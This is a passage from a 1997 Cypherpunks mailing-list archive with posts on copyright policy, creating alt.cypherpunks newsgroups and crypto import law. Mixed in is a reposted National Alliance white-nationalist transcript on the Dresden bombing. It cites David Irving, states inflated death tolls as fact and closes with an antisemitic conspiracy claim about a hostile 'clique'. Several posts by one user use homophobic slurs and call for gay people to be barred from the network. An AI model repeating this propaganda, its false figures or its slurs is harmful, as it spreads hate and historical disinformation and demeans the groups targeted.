collecting, organizing, and distributing the content of such material for wider distribution. Under the current standard a small business which wanted to connect to the network, archive the material, catalog it, package it, and distribute it would technicaly have to contact the 1,000+ members and get their specific fair use contracts resolved. This way there is nothing to resolve, if there is a copyright notice and doesn't specificaly permit such use that message would be dropped. The rest would be available for wider distribution and storage. > Further, your suggestion > that posters be required to include a "fair use header" is compelled > speech. So is requiring me to post a "fair use header" if I want my material public domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down to what is best for society and what 'best' means. If best in your book equals 'maximize profit potential' then the current standard is best. If, however, your definition is 'spread the idea as far and wide as possible, may it flourish and have many offspring' then we need to go back to the old standard. > That's three flavors of "censorship" right there. I thought that the new > list(s) were supposed to allow anyone to say anything they wanted. None of these qualify as censorship, I am not applying anything to anyone that is not being currently applied now. I am only taking the alternate tack, which was the legal tact until mid-80's. > (Does "no fair use" count as a "fair use header"? It's not legally > enforceable, but it seems like the easiest way to specify "minimum fair > use required by law". If not, are you planning to moderate the list to > make sure that people use only approved fair use headers? Hmm.) No need to moderate the list, it does it for me. I don't do anything with the messages, simply let them come and go. Those with no header would be fair game for anyone to use for any purpose they chose. I would hold that your position of implied copyright is a censorship because it prohibits persons from using the material without the authors permission (and probably paying a fee, economic censorship). Cypherpunkish? I think not. Mercenary, could be. > Even if the "copyright abandonment by implication" trick works (and I > suspect it will not, It certainly did until the mid-80's. It certainly is no more of a trick than the forcing of copyright on those who don't want it. > given that an assignment or transfer of copyright > must be in writing, 17 USC 204; And I hold that the submission of a subscription request and the acceptance of the subscription notice conditions received as a reply qualify as that written transfer. If they are unacceptable unsubscribe, which is described in detail in the same subscription notice that details the conditions of access. > and abandonment is essentially an > assignment or transfer to the public domain), it will not apply to all > text sent to the list. A good thing. > A person cannot abandon or assign something they > do not have; so if someone sends a message to the list which contains > text whose copyright is held by a third party, that copyright will still > be valid. That is a good thing. A person should not harm another or their property without their prior permission. > So what you've got is a list where you can't be sure that its contents > are public domain, and a draconian rule requiring authors to give up > their rights to what they've written. I have not required anyone to give up anything. All I have required is that authors specificaly state that they want to retain rights to the document. This is no more draconian than requiring a person to write a public domain release on their text if that is their choice. What we have now is a list where the messages come flying across my screen and I can't use them anywhere else unless I go and get somebodies permission first. Is that freedom of speech? Freedom of the press? Sounds more like economic strangulation of technological and social progress and the hindering of the spreading of knowledge. > Do you imagine that all of the many-majordomo servers will implement > your "public domain only" rule, or only yours? No, the point was that different servers could have different policies. That hypothesis is now thoroughly proved wrong. We also now have clear evidence that at least some of the Cypherpunk ideals are not real-world. What we have now is the imposition of these implicit regulations across all the remailers, in some cases against their will. This is not compromise but rather capitulation through duress. Implicit copyright is censorship. This realization is the reason that I dropped it for the cypherpunks list. It was clear that pressing for server-dependant policies was not tenable. > If the rule is intended to apply to all servers, and servers aren't > going to be allowed into the network I am amazed at your ability to construe things that were never stated, let alone implied. I was under the impression that a variety of access policies and various filtering schemes was one of the stated goals. I also feel you give me entirely too much credit and not enough to Igor, firebeard, and others who are involved. Whether you know it or not, they are not straw men nor pseudonyms that I employ. > without agreeing to implement it > locally, um, tell me again about that "free speech" thing? Aren't you > just taking advantage of your position as a person working on the > many-majordomos project to impose your ideas about intellectual property > on the rest of the list? Is such a strategy compatible with "free > speech"? No more so than the imposition of copyright to hinder the free and unbridled exchange of ideas. > Also, how could a rule like this possibly be compatible with a Usenet > gateway? There's no chance at all that you can expand a local rule on > your system to all of Usenet through a gateway. A very good argument on why in our current system de facto copyright actualy hinders free exchange of ideas. Thanks, I hadn't thought of that aspect. > And Declan McCullagh wrote: > > >I forward articles to cypherpunks that are copyrighted by my employers, or > >magazines like Playboy and Wired for which I write freelance pieces. > > > >I like to think these articles have some value. I will not forward any of > >them, nor would I be able to, if they magically became "public domain." > > Which are good points Strawman arguments to cover the motives of profit driving them. I suspect that if the magazine (who probably own the actual copyright) agreed to allow them to be presented in total before posting would require that some sort of explicit copyright notice be retained. I am shure the articles have some value, a check was written for them at some point I believe. > - also, don't forget that, from time to time, > people have even posted code to the cpunks list, and many software > authors like to retain copyright in their code so that they can insist > on things like noncommercial distribtion or credit where the code is > reused. If a work is truly "public domain", the author has no power to > insist on those things. Certainly they do, put the statement in the code header - just like any programmer with a clue is going to do now. All I am asking is that you give me a fair shot at figuring out what you individualy want done with your material when I see it. Should I save it for later use or simply shit-can it because I don't want to deal with the hassle of getting permission. Currently I shit-can just about everything for this reason unless it has some sort of technical chart or table I can re-arrange or is related to Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere to expand knowledge? Is that how you want your ideas and commentary to end up? Hell, under the current system I take a completely unwarranted risk if I do nothing more than print out your email and then show it to somebody else. Why? Because I don't know before hand whether that is ok with you or do you really want to retain distribution rights. To be completely safe I need to email you and ask permission to do that. Unacceptable restraint of speech. The only option that leaves me is no speech because I can't afford it. Not very cypherpunkish. > This proposed rule seems to limit postings to those which are perceived > by their authors to be without commercial or reputational value. Is that > a good idea? Not if that was what was proposed here, fortunately reality bears no resemblance to your interpretation. What I really find interesting is that in the 3 years SSZ has been up and the 8 mailing lists (with about 300 subscribers total) nobody has ever complained about the public domain policy and nobody has ever put a copyright header on their messages. All these lists are technical and several of them are directly involved with technical development of projects, some for commercial apps. Jim Choate CyberTects ravage at ssz.com From janke at unixg.ubc.ca Fri Feb 14 01:08:11 1997 From: janke at unixg.ubc.ca (Leonard Janke) Date: Fri, 14 Feb 1997 01:08:11 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702131535.JAA20917@manifold.algebra.com> Message-ID: "Timothy C. May" writes: > [...] > Given that _political_ discussions of crypto are now encouraged in > _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think > political and social essays dealing with crypto anarchy, offshore > databases, undermining governments, etc., will be welcome in the "comp" > hierarchy? > > I rather doubt it. And I would bet that if comp.org.cypherpunks is ever > approved, those who dislike crypto anarchy and sociopolitical chatter will > use the "comp" name to try to suppress such discussions. > [...] I think that the statement of our desire to create a new group should clearly indicate that the discussion group is of a special nature due to the tight integration of technical and political discussions. Cypherpunks are trying to achieve political goals through technological means, so it is difficult, and not regarded as desirable to produce a false dichotomy for discussions. As an example, we could cite the Linux newsgroups like comp.os.linux.misc. Linux is a piece of software written to help achieve a political goal, and, thus, in the Linux groups it is not considered off-topic to philosophize about these goals or the future as and after Linux knocks Microsoft out of the market. :) talk.politics.crypto and sci.crypt can, then, easily be argued against since the discussions there are much more restricted than what we desire. > [...] You really think whoever is spamming the list with ASCII art and > broke into Paul's account to post hundreds of "John Gilmore is a > cocksucker" posts will back off because of the "dedication" of some? To the > perverse personality, this is merely a greater challenge and temptation. > [...] Given that you have been on the list a great deal longer than I, I do respect that you may have deeper insights into the mind of the "perverse personality" than I do. I, however, am not aware of evidence that the person or persons behind the disruptions since the middle of last year would try to interrupt a democratic USENET creation vote. My recollection of the history is that the initial attacks were directed at you personally. Dr. Vulis was blamed for them and thus, apparently, became the target of nasty e-mailings to his site. He responded to this by spamming the list with rather large articles on Armenian war crimes and forwardings of the messages. At that point Gilmore booted Vulis. Gilmore then became a target of attack and, it seems that many (presumably) innocent bystanders were unwittingly subscribed to the list in an effort to cause more work, and, hence, annoyance to Gilmore when they complained about the unwanted mail. At this point many new personalities seemed to materialize out of nowhere bent on doing nothing more than fueling flame wars. Then the "moderation experiment" (fiasco)... I do not see in this evidence, however, that any of the disruptors would target the process of the creating a new group USENET group. At first, the the disruptor could easily have rationalized that anonymous, personal attacks were fair play, since anarachists favour no explicit rules with regards to speech. After Vulis was removed by Gilmore the disruptor could then rationalize that "anything goes" since list had then passed from a state of anarchy to one with Gilmore trying to decide who could or not be on the list. (I do not think that these conjectued rationalizations are valid myself, but am just trying to give an my thoughts on the psychology of the "perverse personality".) USENET nesgroup creation is whole new ball game, however. There are explicitly defined rules and the process is intended to be democratic. If my guess as to the identity of the person masterminding the attacks is correct, that person seems to have democratic sympathies or, at least, be strongly opposed to even hints of censorship, so I do not think he would attempt to disrupt the process of deciding if a new group is created or not since that would both be inferring in a democratic process and an attempt to prevent a group of people from creating a discussion group, and thus, himself, becoming a censor. (This makes me think that given that the process is intended to be democratic, it may be more fitting that a more anarchisticly method is used to create an "alt.*" group for cyphepunks than the democratic one used to create a "comp.*" one.) In any case, if you have deeper insights than mine into the mind of the disruptor, or evidence that he or she or them would try to disrupt a comp.* newsgroup creation proces, I would be eager to hear them. Leonard From adam at rosa.com Fri Feb 14 01:15:14 1997 From: adam at rosa.com (Adam Philipp) Date: Fri, 14 Feb 1997 01:15:14 -0800 (PST) Subject: crypto restrictions In-Reply-To: <199702140711.XAA25330@toad.com> Message-ID: <3.0.1.32.19970214011504.009d2a80@mail.infonex.com> At 11:51 AM 2/14/97 -0800, anand abhyankar wrote: >Jeremiah A Blatz wrote: > >thanx for ur answer but then i have another question. > >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. > >anand.... > Not under US law... -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\ | My PGP key is available on my |Unauthorized interception violates | | home page: http://www.rosa.com |federal law (18 USC Section 2700 et| |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted | |SUB ROSA...see home page... |communications are preferred for | | -=[ FUCK THE CDA]=- |sensitive materials. | \=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/ If A is a success in life, then A = x + y + z. Work is x; y is play; and z is keeping your mouth shut. Albert Einstein (1879-1955) From advinfo at dreamon.com Fri Feb 14 01:48:42 1997 From: advinfo at dreamon.com (Adv Info) Date: Fri, 14 Feb 1997 01:48:42 -0800 (PST) Subject: American Dissident Voices Weekly Transcripts Message-ID: <33043521.3866@dreamon.com> --------------------------------------------------------------- American Dissident Voices is a world wide radio program which deals with topics of interest that concern people of European descent. We hope that these weekly articles will offer the reader an opposing viewpoint to the major news media. For more information, please e-mail advinfo at dreamon.com. Please visit our World Wide Web Site at http://www.natall.com. For patriotic books and tapes, visit National Vanguard Books Online Catalog at http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com -------------------------------------------- American Dissident Voices Online Radio http://www.natall.com/radio/radio.html Dresden: A Real Holocaust by Kevin Alfred Strom The night of February 13th, and February 14th, Valentine's Day, mark an ominous anniversary in the history of Western Civilization. For beginning on the night of February 13th, 1945, occurred the destruction of Dresden. On the eve of Valentine's Day, 1945, World War II in Europe was nearly over. For all practical purposes Germany was already defeated. Italy, and Germany's other European allies, had fallen by the wayside. The Red Army was rushing to occupy vast areas of what had been Germany in the East, while the allies of the Soviets, the British and Americans, were bombing what was left of Germany's defenses and food and transportation infrastructure into nonexistence. And what was Dresden? Most of you have probably heard of Dresden China, and that delicately executed and meticulously detailed porcelain is really a perfect symbol for that city. For centuries Dresden had been a center of art and culture, and refined leisure and recreation. She was a city of art museums and theatres, circuses and sports stadia, a town of ancient half-timbered buildings looking for all the world like those of medieval England, with venerable churches and centuries-old cathedrals gracing her skyline. She was a city of artists and craftsmen, of actors and dancers, of tourists and the merchants and hotels that served them. Above all, what Dresden was, was defined during the war by what she was not. She had no significant military or industrial installations. Because of this, Dresden had become, above all other things that she was, a city of children, of women, of refugees, and of the injured and maimed who were recovering from their wounds in her many hospitals. These women and children, these wounded soldiers, these infirm and elderly people, these refugees fleeing from the brutal onslaught of the Communist armies to the East, had come to Dresden because it was commonly believed at the time that Dresden would not be attacked. Its lack of strategic or military or industrial significance, and the well-known presence of hundreds of thousands of innocent civilian refugees and even Allied prisoners of war, seemed to guarantee safety to the city. Surely, it was thought, not even a the most powerful and determined enemy would be so depraved and sadistic, and so wasteful of that enemy's own resources, to attack such a city. But the people of Dresden, who were happily attending the cinema or eating dinner at home or watching the show-horses in the circus on that fateful night were wrong, wrong, wrong. And their leaders were also wrong, for the city was virtually open and undefended and only minimal civil defense preparations had been made. Dresden's population had almost doubled in the months before the attack, mainly as a result of the influx of refugees from the Eastern Front, most of them women and young children. According to British historian David Irving, the briefings given to the British bomber squadrons before the attack on Dresden were curiously different. In one, the soldiers were told that their target was the railway center of Dresden. In another, they were told that the target was a poison-gas factory. In yet another, they were told that the target was a marshalling-grounds for troops in the city. Another was told that the target was a major arsenal. These were all lies. The only marshalling-grounds for what few troops were in the area were located well outside the city. The arsenal had burned down in 1916. There were factories for toothpaste and baby-powder in Dresden, but none for poison gas. There were, in fact, no fewer than eighteen railway stations in Dresden, but only one was hit by the bombing, and that was barely touched and in fact was operating again just three days later. According to copious documentation unearthed by David Irving from the archives of the American and British governments, the point of the attack was in fact to inflict the maximum loss of life on the civilian population and particularly to kill as many refugees as possible who were fleeing from the Red Army. In achieving these goals it was highly successful. It was thus planned and executed by those at the very highest levels of the British and American governments, who to attain their purposes even lied to their own soldiers and citizens, who to this day have never been told the full story by their leaders. How was this devastating effect accomplished? At 10:10 PM on February 13th, the first wave of the attack, consisting of the British Number 5 Bomber Group, began. The attacking force consisted of about 2,000 bombers with additional support craft, which dropped over 3,000 high explosive and 650,000 incendiary bombs (more commonly known as firebombs) on the center of the city. Incendiary bombs are not known for their efficiency per pound in destroying heavy equipment such as military hardware or railroad tracks, but are extremely effective in producing maximum loss of human life. The loads carried by the bombers were over 75 per cent incendiaries. In fact, the goal of the first wave of the attack was, according to British air commander Sir Arthur Bomber Harris, to set the city well on fire. That he did. The lack of any effective anti-aircraft defenses allowed the bombers to drop to very low altitudes and thus a relatively high degree of precision and visual identification of targets was achieved. Despite the fact that they could clearly see that the marked target area contained hospitals and sports stadia and residential areas of center city Dresden, the bombers nevertheless obeyed orders and rained down a fiery death upon the unlucky inhabitants of that city on a scale which had never before been seen on planet Earth. Hundreds of thousands of innocents were literally consumed by fire, an actual holocaust by the true definition of the word: complete consumption by fire. The incendiaries started thousands of fires and, aided by a stiff wind and the early-on destruction of the telephone exchanges that might have summoned firefighters from nearby towns, these fires soon coalesced into one unimaginably huge firestorm. Now such firestorms are not natural phenomena, and are seldom created by man, so few people have any idea of their nature. Basically, what happened was this: The intense heat caused by the huge column of smoke and flame, miles high and thousands of acres in area, created a terrific updraft of air in the center of the column. This created a very low pressure at the base of the column, and surrounding fresh air rushed inward at speeds estimated to be thirty times that of an ordinary tornado. An ordinary tornado wind-force is a result of temperature differences of perhaps 20 to 30 degrees centigrade. In this firestorm the temperature differences were on the order of 600 to 1,000 degrees centigrade. This inward-rushing air further fed the flames, creating a literal tornado of fire, with winds in the surrounding area of many hundreds of miles per hour--sweeping men, women, children, animals, vehicles and uprooted trees pell-mell into the glowing inferno. But this was only the first stage of the plan. Exactly on schedule, three hours after the first attack, a second massive armada of British bombers arrived, again loaded with high explosive and massive quantities of incendiary bombs. The residents of Dresden, their power systems destroyed by the first raid, had no warning of the second. Again the British bombers attacked the center city of Dresden, this time dividing their targets--one half of the bombs were to be dropped into the center of the conflagration, to keep it going, the other half around the edges of the firestorm. No pretense whatever was made of selecting military targets. The timing of the second armada was such as to ensure that a large quantity of the surviving civilians would have emerged from their shelters by that time, which was the case, and also in hopes that rescue and firefighting crews would have arrived from surrounding cities, which also proved to be true. The firefighters and medics thus incinerated hadn't needed the telephone exchange to know that they were needed--the firestorm was visible from a distance of 200 miles. It is reported that body parts, pieces of clothing, tree branches, huge quantities of ashes, and miscellaneous debris from the firestorm fell for days on the surrounding countryside as far away as eighteen miles. After the attack finally subsided, rescue workers found nothing but liquefied remains of the inhabitants of some shelters, where even the metal kitchen utensils had melted from the intense heat. The next day, Ash Wednesday and Valentine's Day, 1945, medical and other emergency personnel from all over central Germany had converged on Dresden. Little did they suspect that yet a third wave of bombers was on its way, this time American. This attack had been carefully coordinated with the previous raids. Four hundred fifty Flying Fortresses and a support contingent of fighters arrived to finish the job at noon. I quote from David Irving's The Destruction of Dresden: "Just a few hours before Dresden had been a fairy-tale city of spires and cobbled streets .... now total war had put an end to all that. ...The ferocity of the US raid of 14th February had finally brought the people to their knees... but it was not the bombs which finally demoralised the people ... it was the Mustang fighters, which suddenly appeared low over the city, firing on everything that moved .... one section of the Mustangs concentrated on the river banks, where masses of bombed-out people had gathered. ... British prisoners who had been released from their burning camps were among the first to suffer the discomfort of machine-gunning attacks .... wherever columns of tramping people were marching in or out of the city they were pounced on by the fighters, and machine-gunned or raked with cannon fire." Ladies and gentlemen, on this program I can only give you a bare glimpse of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer than 135,000 innocent victims died, with some estimates as high as 300,000. More died in Dresden than died in the well-known attacks on Hiroshima and Nagasaki. More destruction befell Dresden in one day than was inflicted on the whole of Britain during the entire war. And yet you haven't been told. I urge every one of you to read The Destruction of Dresden by David Irving. I assure you, after reading Irving's book, you will never take seriously the Establishment's version of what happened in that war again. What you ought to take seriously, though, is the fact that the same clique that controlled the traitorous Roosevelt and Churchill governments, whose hatred of our race and civilization and whose alliance with Communism were the real causes of the holocaust of Dresden, still controls our government and our media today. It is they who are pushing for a disarmed, racially mixed America. It is they who promote the teaching of sodomy to our young children. It is they who are destroying our industrial infrastructure in the name of a global economy. It is they who created the drug subculture and then also the police state agencies which pretend to fight it. The hour is very late for America and indeed for all of Western civilization. But if patriots will heed our call, then there is no reason for despair. For the enemies of our nation may have power, but their power is based on lies. Won't you help us cut through the chain of lies that holds our people in mental slavery? ~ National Alliance Main Page http://www.natvan.com From aga at dhp.com Fri Feb 14 02:11:13 1997 From: aga at dhp.com (aga) Date: Fri, 14 Feb 1997 02:11:13 -0800 (PST) Subject: Dale disses gays. In-Reply-To: <199702140501.XAA28650@manifold.algebra.com> Message-ID: On Thu, 13 Feb 1997, Igor Chudov @ home wrote: > Date: Thu, 13 Feb 1997 23:01:39 -0600 (CST) > From: "Igor Chudov @ home" > Reply-To: freedom-knights at jetcafe.org > To: Cypherpunks > Cc: nobody at huge.cajones.com, cypherpunks at toad.com, > freedom-knights at jetcafe.org > Subject: Re: Dale disses gays. > > Dale Thorn wrote: > > Huge Cajones Remailer wrote: Now just who is thisa guy? -- who keeps posting under "nobody" at the cajones remailer? Anybody have him/her tagged yet for the real person? > > > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell. > > > > > How, Dale, by the smell? > > > > I worked for a gay man in Beverly Hills and Encino for 3 years. I > > learned a lot about "signals" during that time. Bigot? I don't > > think so. One of my favorite customers, a nice lady who is Jewish > > (and who grew up where I did) told me she could spot 'em every time. > > This is a typical case of overconfidence on her part. > > If she thought about it for longer, she would realize that she cannot > benchmark her gay-spotting performance very well. > I don't know. It has always been easy for me to spot a faggot. I mean, I can even tell by their voice if they are queer. > If you presented her with, say, 100 unknown men and 50 of them were gays > and she'd identify everyone correctly, I would be impressed. > Tell each one of them to converse for 5 minutes, and I can tell you 9 out of 10 faggots for sure. I used to be a dancer, and the faggots were knee deep at Point Park College dance classes. > A truly great and simple book that talks about this stuff is ``Decision > Traps: the ten barriers to brilliant decision making''. > > > BTW, my browser has a problem with your lines that have no c/r after > > every 70 or so characters. Other people will undoubtedly confirm that. > > Yes, we will. > > - Igor. > True, it is a bitch if you are using a brtowser for e-mail. Try Pine instead. {;-)-~ How many days left for that toad.com list? From paul at fatmans.demon.co.uk Fri Feb 14 02:43:44 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 02:43:44 -0800 (PST) Subject: You guys/gals oughta get a kick outta this guy Message-ID: <855916840.1020916.0@fatmans.demon.co.uk> > > Yet another person who needs a good stern talking to by the nearest > > cypherpunk --- this guy posted to comp.lang.perl.misc with the following > > blasphemy, which I luaghed at until I had tears in my eyes. > > --BEGIN COMPLETE STUPIDITY-- > > I want to make it executable to protect the source code from being read. I > > don't want the source code available because I don't want people looking > > for security holes. > > --END COMPLETE STUPIDITY-- NO! - It must be impossible to be this naive! - Thanks for the post, I laughed until I displaced a kidney ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Fri Feb 14 02:45:09 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Fri, 14 Feb 1997 02:45:09 -0800 (PST) Subject: No Subject Message-ID: <33035597.64782219@news.demon.co.uk> Cypherpunks, I have newsgrouped some further alt.groups as follows: alt.cypherpunks.announce alt.cypherpunks.technical alt.cypherpunks.social I recommend that posters crosspost as follows: All messages, apart from announcements, go to alt.cypherpunks. Alt.cypherpunks.announce holds announcements only and it`s contents is disjoint with that of alt.cypherpunks. Alt.cypherpunks.technical: All posts to this group are also crossposted to alt.cypherpunks alt.cypherpunks.social: All posts to this group are also crossposted to alt.cypherpunks. The newsgroup names are pretty self explanatory but technical is just for technical discussion and social for discussion of social and political issues regarding cryptography. With this crossposting scheme readers can either get the whole content or just the part they want easily without filtering working overtime, for instance, I might choose to subscribe to alt.cypherpunks.technical and only dip into alt.cypherpunks.social when I felt like a flame war ;-) As I said, its only a guideline of course and post what you want where you want but i feel this organisation allows people to easily choose the part of the discussion they want to read. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From aga at dhp.com Fri Feb 14 03:02:16 1997 From: aga at dhp.com (aga) Date: Fri, 14 Feb 1997 03:02:16 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <19970213171732.9310.qmail@anon.lcs.mit.edu> Message-ID: On 13 Feb 1997, Against Moderation wrote: > Date: 13 Feb 1997 17:17:32 -0000 > From: Against Moderation > To: aga at dhp.com > Cc: cypherpunks at toad.com, cypherpunks at pgh.org, ichudov at algebra.com, > dlv at bwalk.dm.com, freedom-knights at jetcafe.org > Subject: Re: Moderation experiment almost over; "put up or shut up" > > > Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST) > > From: aga > > > > Well, the fact remains that the homos are instrumental in creating and > > forming a cliquish and censored usenet. There is just no question > > about that. Remember the previous cypherpunk who stated that the > > gays "created and run usenet." > > No. Who said that, and why do you think the person was serious, let > alone telling the truth? > It was on the list last month, and the person was serious and correct. That is exactly why we must now kill all of usenet as it stands, for a new heterosexual beginning. > > Your assumption that I am a "bigot" makes it you appear uninformed. > > Sexism is good, but racism is bad. A sexist is not a bigot. > > > > The only one who qualifies as a "bigot" is a racist. > > According to the American Heritage dictionary: > bigot n. One who is strongly partial to one's own group, religion, > race, or politics and is intolerant of those who differ. > Nothing in there about faggots or cunts, is there? > According to Webster: > bigot n. One obstinately or intolerantly devoted to his own opinions > and prejudices > Nothing in there about faggots or cunts, is there? Again, MY definition of a "bigot" is the correct one which is most understood by modern people. A "bigot" is a racist, period. > I see nothing that limits bigotry to racial intolerance. > You are a fool then. Religion and sexism and groups all have nothing to do with bigotry. A bigot is a racist, period. That is TODAY'S correct definition of the term, and I am a lot more current than Webster. Any anybody who has a "religion" and "prays" is a fool. The only god you will ever find is within yourself. > > It is very logical and wise to discriminate on the basis of sex. > > Most would disagree, and decide based on that and other statements you > have made that you must be an extremely unpleasant person. > See, there you go again, attacking the person, instead of the argument. You lose points for that. Sexism is GOOD and right and justified. I want a woman cutting my hair, and a man fixing my car, and I demand the correct sex for ALL activities. > If you want to fight censorship effectively, going around telling > people "You're a shit-eating faggot you fucking cock-sucking homo > censor" in public forums is not going to win you many points. Look sonny, I am not out to win any points. I have two Doctorates and 22 years of experience. I speak with authority and only to those who have the intelligence to understand. I was a perfect 4.00 in College, and am probably the most intelligent body-politic analyst in the world. Now let's face it: Faggots are BAD news. They are most always censors! And that is the truth you can never get around. > Instead, it will quickly land you in many people's killfiles, and will > eventually lead some people with bad client software to wonder if it > wouldn't be worth giving up some freedom of speech for the benefit of > not having to see your rants any more. > Hey boy, I am too strong to stop. I have more people and, more money and more connections than you could ever dream of. We are here to "rip new assholes" in the faggots who have ruined the net thus far, and to take over and make this net heterosexual oriented. Just wait until you see me in person some day; you are in for a big suprise. > I'm not saying you don't have a right to express your opinions. I'm > just remarking that you appear to be more in the business of inducing > censorship than fighting it. No, all censorship shall be eliminated from this Net and I will fight to the death to achieve that. The only way to stop us is to kill all of us, and you can not do that. I have 6 or 8 associates that you are unaware of, and we plan to KILL the current system real soon. > If that's the case, so be it; someone > has to get censored in order for people to fight censorship, and > exposing people's willingness to censor is not necessarily a bad thing > in itself. > So you plan on censoring me? Not likely sonny boy. I have more connections than you have fingers on your one hand. > Unfortunately, it sort of makes life harder for those who actually > fight the censorship when you pretend to be one of them. Your > argument seems to run something like, "To protect freedom of speech, > bad all faggots from the net, and especially don't let them run any > mailing lists." That is a good idea. Faggots are most always censors, and can not be trusted with heterosexual people. > If this offensive and highly noticeable argument > eclipses many of the important, fundamental ones as the censors would > like it too (why do you think your articles make it to cypherpunks- > flames while mine only get as far as -unedited), Because of the faggot. They always try to censor the TRUTH! > you will end up not > only inducing censorship but also seriously hampering the efforts of > those who are legitimately fighting that censorship. > Look sonny, we are out to KILL John Gilmore's control of this net, and your listing of the -three- different lists manufactured by that fucking queer should put the icing on the cake. > > I am not a racist, so therefore I can not be a "bigot," regardless of > > my views on homosexuality. > > See above. > Again: Most faggots are censorous, and therefore NO faggots should ever have any control over any "censoring" acvtivities of this net. Period. We have come to the time when one's sex and sexual orientation should be clearly stated on all e-mail and Usenet commo. Everyone should start providing the data, for the good of the community. No one should be forced to communicate with a faggot. From paul at fatmans.demon.co.uk Fri Feb 14 03:09:38 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 03:09:38 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <855916839.1020920.0@fatmans.demon.co.uk> > > It is too late to stop alt.cypherpunks, but if I had to make a > > prediction again, I would predict that soon posters will BEG to help > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > cross-posted and "off-topic" crap is because net.cops would be more > likely to complain to posters' sysadmins. Having a charter state that > cypherpunks have technical means to ignore traffic they don't like, > and don't need anyone forging cancels or complaining to sysadmins > or otherwise getting silenced, is a good idea. I don`t believe for one moment that, however well intentioned such a move would be, it would work. The most notorious net.cops who thoroughly deserve the (spit) after their name would take little notice of such a charter and take it upon themselved to "act in the best interests of the usenet community" I think the only real soluion is to see alt.cypherpunks, or indeed any usenet group along those lines, as I see it: Something to fill a gap while we get a solid and reliable mailing list format working again. There are too many problems with the usenet approach and if certain list members have great leanings towards the usenet angle we can gate it just as mail.cypherpunks is a gated group now. Any more news on the majordomo network Igor? > > What's going to happen when (not if) someone posts something in > alt.cypherpunks that Chris Lewis (spit) judges to be "spam" > and forges a cancel? Or someone posts a binary and Richard > "little dick" Depew forges a cancel? > > > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili > > > list. I've been thinking of how to deal with crap, and with the obvious des > > > by some people to delegate their decision what to read and what not to read > > > to other people. > > > > It is alt.* and soc.* that has most crap, sci and comp are way better. > > There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to > sysadmins of anyone posting to that newsgroup who's in a member of the > "in" crowd". It may or may not cut down on the crap, but is it worth it? > > > > Most people don't have nocem-enabled newareaders yet... Which is where the > > > network of cypherpunks majordomos Igor's been busy creating comes in very > > > handy. > > > > > > > It is a very good idea to let NoCeM issuers and filterers work > > independently from list nodes. > > > Yes - from the legal liability point of view (since it bothers the lying > cocksucker Gilmore (spit, fart, belch) so much): suppose someone > anonymously posts skipjack source code to alt.cypherpunks. Under the > present systen, say, the arachelian asshole might decide not to forward > it to his mailing list feaing the NSA. NoCeM's can separate the function > of highlighting interesting articles from the function of forwarding > these articles to subscribers who only want to see the highlighted > articles. > > --- > > Dr.Dimitri Vulis KOTM > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Fri Feb 14 03:26:23 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 03:26:23 -0800 (PST) Subject: alt.cypherpunks Message-ID: <855918957.105158.0@fatmans.demon.co.uk> > I haven't seen any rmgroups for alt.cypherpunks. Paul Bradley's > newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos' > newgroup made it onto the Net, and was reposted the next day by > usenet at news.myriad.ml.org. My local server (news.demon.co.uk) recognised my newgroup for alt.cypherpunks and it was immediately visible, I don`t know how far it propogated or where Mikes took effect but whatever the distribution we seem to have reached most main news servers. > alt.cypherpunks.announce > alt.cypherpunks.social > alt.cypherpunks.technical > > and, of course... > > alt.fan.paul.bradley What else? > The latter has been rmgrouped because it was not discussed in > alt.config. No, It was rmgrouped because the cmsg had no charter, I posted this to see if the Cabal would respond. > I might suggest that deliberately tweeking the whiskers of the Cabal by > gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. Quite so, I recieved mail the next day from a member of said clique telling me he "considered rmgrouping alt.cypherpunks.announce" because it was unmoderated. Needless to say he got a stern talking to for that one ;-) I guess I just have to much of a partiality for a little whisker tweeking ;-) > > -- > Eric Michael Cordian 0+ > O:.T:.O:. Mathematical Munitions Division > "Do What Thou Wilt Shall 